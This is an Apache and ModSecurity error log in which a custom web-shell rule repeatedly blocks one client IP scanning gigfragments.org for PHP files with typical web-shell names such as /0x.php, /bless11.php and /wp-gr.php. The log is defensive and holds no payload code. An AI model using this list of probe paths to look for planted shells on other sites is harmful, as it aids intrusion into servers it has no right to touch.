[Tue Nov 25 20:04:36.472778 2025] [:error] [pid 14077:tid 14114] [client 20.196.125.130:30506] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aSWbVBG9n7UHEkwDTyihDwAAAEQ"]
[Tue Nov 25 20:04:37.642534 2025] [:error] [pid 14078:tid 14151] [client 20.196.125.130:30189] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aSWbVdVXYbb0ii_rVoJOhQAAAI4"]
[Tue Nov 25 20:04:38.144078 2025] [:error] [pid 14077:tid 14110] [client 20.196.125.130:30511] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aSWbVhG9n7UHEkwDTyihEgAAAEA"]
[Tue Nov 25 20:04:38.475999 2025] [:error] [pid 14078:tid 14154] [client 20.196.125.130:30446] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "aSWbVtVXYbb0ii_rVoJOiAAAAJE"]
[Tue Nov 25 20:04:38.813664 2025] [:error] [pid 14077:tid 14129] [client 20.196.125.130:30147] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "aSWbVhG9n7UHEkwDTyihFQAAAFM"]
[Tue Nov 25 20:04:39.146510 2025] [:error] [pid 28740:tid 28805] [client 20.196.125.130:30496] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "aSWbV1ppQCoYxWW6V0WMHgAAAk4"]
[Tue Nov 25 20:04:39.502984 2025] [:error] [pid 14168:tid 14195] [client 20.196.125.130:30568] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "aSWbV_R-ZDU0QEgAIItt1wAAANg"]
[Tue Nov 25 20:04:40.019221 2025] [:error] [pid 28842:tid 28994] [client 20.196.125.130:30516] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/indo.php"] [unique_id "aSWbWNNmoaPf6T4-6C2eSwAAA0Q"]
[Tue Nov 25 20:04:40.384374 2025] [:error] [pid 2987:tid 2995] [client 20.196.125.130:30550] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/indo.php"] [unique_id "aSWbWM-djEt-pTzPxnyqcAAAAUY"]
[Tue Nov 25 20:04:40.927535 2025] [:error] [pid 28842:tid 28995] [client 20.196.125.130:30199] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/indo.php"] [unique_id "aSWbWNNmoaPf6T4-6C2eUgAAA0U"]
[Tue Nov 25 20:04:41.529359 2025] [:error] [pid 28740:tid 28802] [client 20.196.125.130:30635] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/indo.php"] [unique_id "aSWbWVppQCoYxWW6V0WMJwAAAks"]
[Tue Nov 25 20:04:41.895408 2025] [:error] [pid 14168:tid 14194] [client 20.196.125.130:30502] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/card.php"] [unique_id "aSWbWfR-ZDU0QEgAIItt5wAAANc"]
[Tue Nov 25 20:04:42.624151 2025] [:error] [pid 14168:tid 14178] [client 20.196.125.130:30428] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/card.php"] [unique_id "aSWbWvR-ZDU0QEgAIItt6gAAAMc"]
[Tue Nov 25 20:04:43.238414 2025] [:error] [pid 28836:tid 28959] [client 20.196.125.130:30181] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/card.php"] [unique_id "aSWbW5wNRsoxcLQGkTfKiQAAAsQ"]
[Tue Nov 25 20:04:43.672225 2025] [:error] [pid 14078:tid 14145] [client 20.196.125.130:30467] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/card.php"] [unique_id "aSWbW9VXYbb0ii_rVoJOlQAAAIg"]
[Tue Nov 25 20:04:44.078817 2025] [:error] [pid 14168:tid 14191] [client 20.196.125.130:30421] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/menu.php"] [unique_id "aSWbXPR-ZDU0QEgAIItt7wAAANQ"]
[Tue Nov 25 20:04:44.555771 2025] [:error] [pid 14078:tid 14150] [client 20.196.125.130:30497] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/menu.php"] [unique_id "aSWbXNVXYbb0ii_rVoJOmgAAAI0"]
[Tue Nov 25 20:04:44.871161 2025] [:error] [pid 2987:tid 2997] [client 20.196.125.130:30572] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/menu.php"] [unique_id "aSWbXM-djEt-pTzPxnyqdgAAAUg"]
[Tue Nov 25 20:04:45.309860 2025] [:error] [pid 28836:tid 28964] [client 20.196.125.130:30627] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/menu.php"] [unique_id "aSWbXZwNRsoxcLQGkTfKkAAAAsk"]
[Tue Nov 25 20:04:45.752854 2025] [:error] [pid 14168:tid 14186] [client 20.196.125.130:30417] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mnkalo.php"] [unique_id "aSWbXfR-ZDU0QEgAIItt9AAAAM8"]
[Tue Nov 25 20:04:46.146619 2025] [:error] [pid 28842:tid 28993] [client 20.196.125.130:30202] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mnkalo.php"] [unique_id "aSWbXtNmoaPf6T4-6C2ebQAAA0M"]
[Tue Nov 25 20:04:46.937996 2025] [:error] [pid 14168:tid 14182] [client 20.196.125.130:30586] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mnkalo.php"] [unique_id "aSWbXvR-ZDU0QEgAIItt-gAAAMs"]
[Tue Nov 25 20:05:04.037303 2025] [proxy_fcgi:error] [pid 2987:tid 3007] [client 20.196.125.130:30185] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:05:26.766592 2025] [:error] [pid 28609:tid 28631] [client 20.196.125.130:30486] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aSWbhiGGdT-nZJVs3x3LkgAAAY0"]
[Tue Nov 25 20:05:27.187973 2025] [:error] [pid 14077:tid 14113] [client 20.196.125.130:30521] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aSWbhxG9n7UHEkwDTyihnwAAAEM"]
[Tue Nov 25 20:05:27.783107 2025] [:error] [pid 28842:tid 29026] [client 20.196.125.130:30433] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aSWbh9NmoaPf6T4-6C2ewgAAA1g"]
[Tue Nov 25 20:05:28.333838 2025] [:error] [pid 14076:tid 14104] [client 20.196.125.130:30186] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aSWbiHsB4Gz6Qw-pvBsepwAAABc"]
[Tue Nov 25 20:05:28.868514 2025] [:error] [pid 28842:tid 29017] [client 20.196.125.130:30691] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aSWbiNNmoaPf6T4-6C2exQAAA1A"]
[Tue Nov 25 20:05:29.241714 2025] [:error] [pid 28842:tid 28994] [client 20.196.125.130:30405] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aSWbidNmoaPf6T4-6C2exgAAA0Q"]
[Tue Nov 25 20:05:29.928428 2025] [:error] [pid 28609:tid 28641] [client 20.196.125.130:30504] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aSWbiSGGdT-nZJVs3x3LlgAAAZc"]
[Tue Nov 25 20:05:30.330600 2025] [:error] [pid 28609:tid 28639] [client 20.196.125.130:30452] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aSWbiiGGdT-nZJVs3x3LmAAAAZU"]
[Tue Nov 25 20:05:30.899123 2025] [:error] [pid 14076:tid 14099] [client 20.196.125.130:30518] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hk.php"] [unique_id "aSWbinsB4Gz6Qw-pvBseqQAAABI"]
[Tue Nov 25 20:05:31.612340 2025] [:error] [pid 2987:tid 3007] [client 20.196.125.130:30436] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hk.php"] [unique_id "aSWbi8-djEt-pTzPxnyqqAAAAVI"]
[Tue Nov 25 20:05:31.932899 2025] [:error] [pid 28609:tid 28634] [client 20.196.125.130:30410] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hk.php"] [unique_id "aSWbiyGGdT-nZJVs3x3LmwAAAZA"]
[Tue Nov 25 20:05:32.425538 2025] [:error] [pid 28836:tid 28966] [client 20.196.125.130:30513] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hk.php"] [unique_id "aSWbjJwNRsoxcLQGkTfKxgAAAss"]
[Tue Nov 25 20:05:33.172512 2025] [:error] [pid 14076:tid 14091] [client 20.196.125.130:30631] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yas.php"] [unique_id "aSWbjXsB4Gz6Qw-pvBserAAAAAo"]
[Tue Nov 25 20:05:33.965010 2025] [:error] [pid 28836:tid 28962] [client 20.196.125.130:30601] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yas.php"] [unique_id "aSWbjZwNRsoxcLQGkTfKygAAAsc"]
[Tue Nov 25 20:05:34.498095 2025] [:error] [pid 2987:tid 2993] [client 20.196.125.130:30507] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yas.php"] [unique_id "aSWbjs-djEt-pTzPxnyqrQAAAUQ"]
[Tue Nov 25 20:05:35.351363 2025] [:error] [pid 14077:tid 14121] [client 20.196.125.130:30435] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yas.php"] [unique_id "aSWbjxG9n7UHEkwDTyihrQAAAEs"]
[Tue Nov 25 20:05:35.858773 2025] [:error] [pid 14077:tid 14110] [client 20.196.125.130:30203] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-gr.php"] [unique_id "aSWbjxG9n7UHEkwDTyihrgAAAEA"]
[Tue Nov 25 20:05:36.291697 2025] [:error] [pid 14078:tid 14156] [client 20.196.125.130:30165] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-gr.php"] [unique_id "aSWbkNVXYbb0ii_rVoJPAwAAAJM"]
[Tue Nov 25 20:05:36.742389 2025] [:error] [pid 28740:tid 28814] [client 20.196.125.130:30442] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-gr.php"] [unique_id "aSWbkFppQCoYxWW6V0WMoAAAAlc"]
[Tue Nov 25 20:05:37.166159 2025] [:error] [pid 28740:tid 28807] [client 20.196.125.130:30168] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-gr.php"] [unique_id "aSWbkVppQCoYxWW6V0WMoQAAAlA"]
[Tue Nov 25 20:05:37.577154 2025] [:error] [pid 28842:tid 28994] [client 20.196.125.130:30184] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/owl.php"] [unique_id "aSWbkdNmoaPf6T4-6C2e2AAAA0Q"]
[Tue Nov 25 20:05:38.001440 2025] [:error] [pid 2987:tid 3013] [client 20.196.125.130:30163] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/owl.php"] [unique_id "aSWbks-djEt-pTzPxnyqswAAAVg"]
[Tue Nov 25 20:05:38.970319 2025] [:error] [pid 28609:tid 28623] [client 20.196.125.130:30424] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/owl.php"] [unique_id "aSWbkiGGdT-nZJVs3x3LogAAAYU"]
[Tue Nov 25 20:05:39.456364 2025] [:error] [pid 28739:tid 28762] [client 20.196.125.130:30413] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/owl.php"] [unique_id "aSWbkxxGpKmlkG4FexSCkAAAAgA"]
[Tue Nov 25 20:05:39.962652 2025] [:error] [pid 28739:tid 28785] [client 20.196.125.130:30172] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mo.php"] [unique_id "aSWbkxxGpKmlkG4FexSCkwAAAhc"]
[Tue Nov 25 20:05:40.588306 2025] [:error] [pid 28740:tid 28803] [client 20.196.125.130:30483] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mo.php"] [unique_id "aSWblFppQCoYxWW6V0WMpQAAAkw"]
[Tue Nov 25 20:05:41.012299 2025] [:error] [pid 2987:tid 2998] [client 20.196.125.130:30456] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mo.php"] [unique_id "aSWblc-djEt-pTzPxnyqtgAAAUk"]
[Tue Nov 25 20:05:41.457002 2025] [:error] [pid 2987:tid 3007] [client 20.196.125.130:30170] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mo.php"] [unique_id "aSWblc-djEt-pTzPxnyqtwAAAVI"]
[Tue Nov 25 20:05:41.904162 2025] [:error] [pid 28740:tid 28796] [client 20.196.125.130:30152] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file21.php"] [unique_id "aSWblVppQCoYxWW6V0WMqwAAAkU"]
[Tue Nov 25 20:05:42.754826 2025] [:error] [pid 2987:tid 2993] [client 20.196.125.130:30463] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file21.php"] [unique_id "aSWbls-djEt-pTzPxnyquQAAAUQ"]
[Tue Nov 25 20:05:43.458209 2025] [:error] [pid 28739:tid 28769] [client 20.196.125.130:30414] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file21.php"] [unique_id "aSWblxxGpKmlkG4FexSCngAAAgc"]
[Tue Nov 25 20:05:44.242368 2025] [:error] [pid 14078:tid 14154] [client 20.196.125.130:30623] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file21.php"] [unique_id "aSWbmNVXYbb0ii_rVoJPCQAAAJE"]
[Tue Nov 25 20:05:45.138455 2025] [:error] [pid 2987:tid 3004] [client 20.196.125.130:30501] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "aSWbmc-djEt-pTzPxnyqwQAAAU8"]
[Tue Nov 25 20:05:45.669288 2025] [:error] [pid 28609:tid 28618] [client 20.196.125.130:30501] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "aSWbmSGGdT-nZJVs3x3LqAAAAYA"]
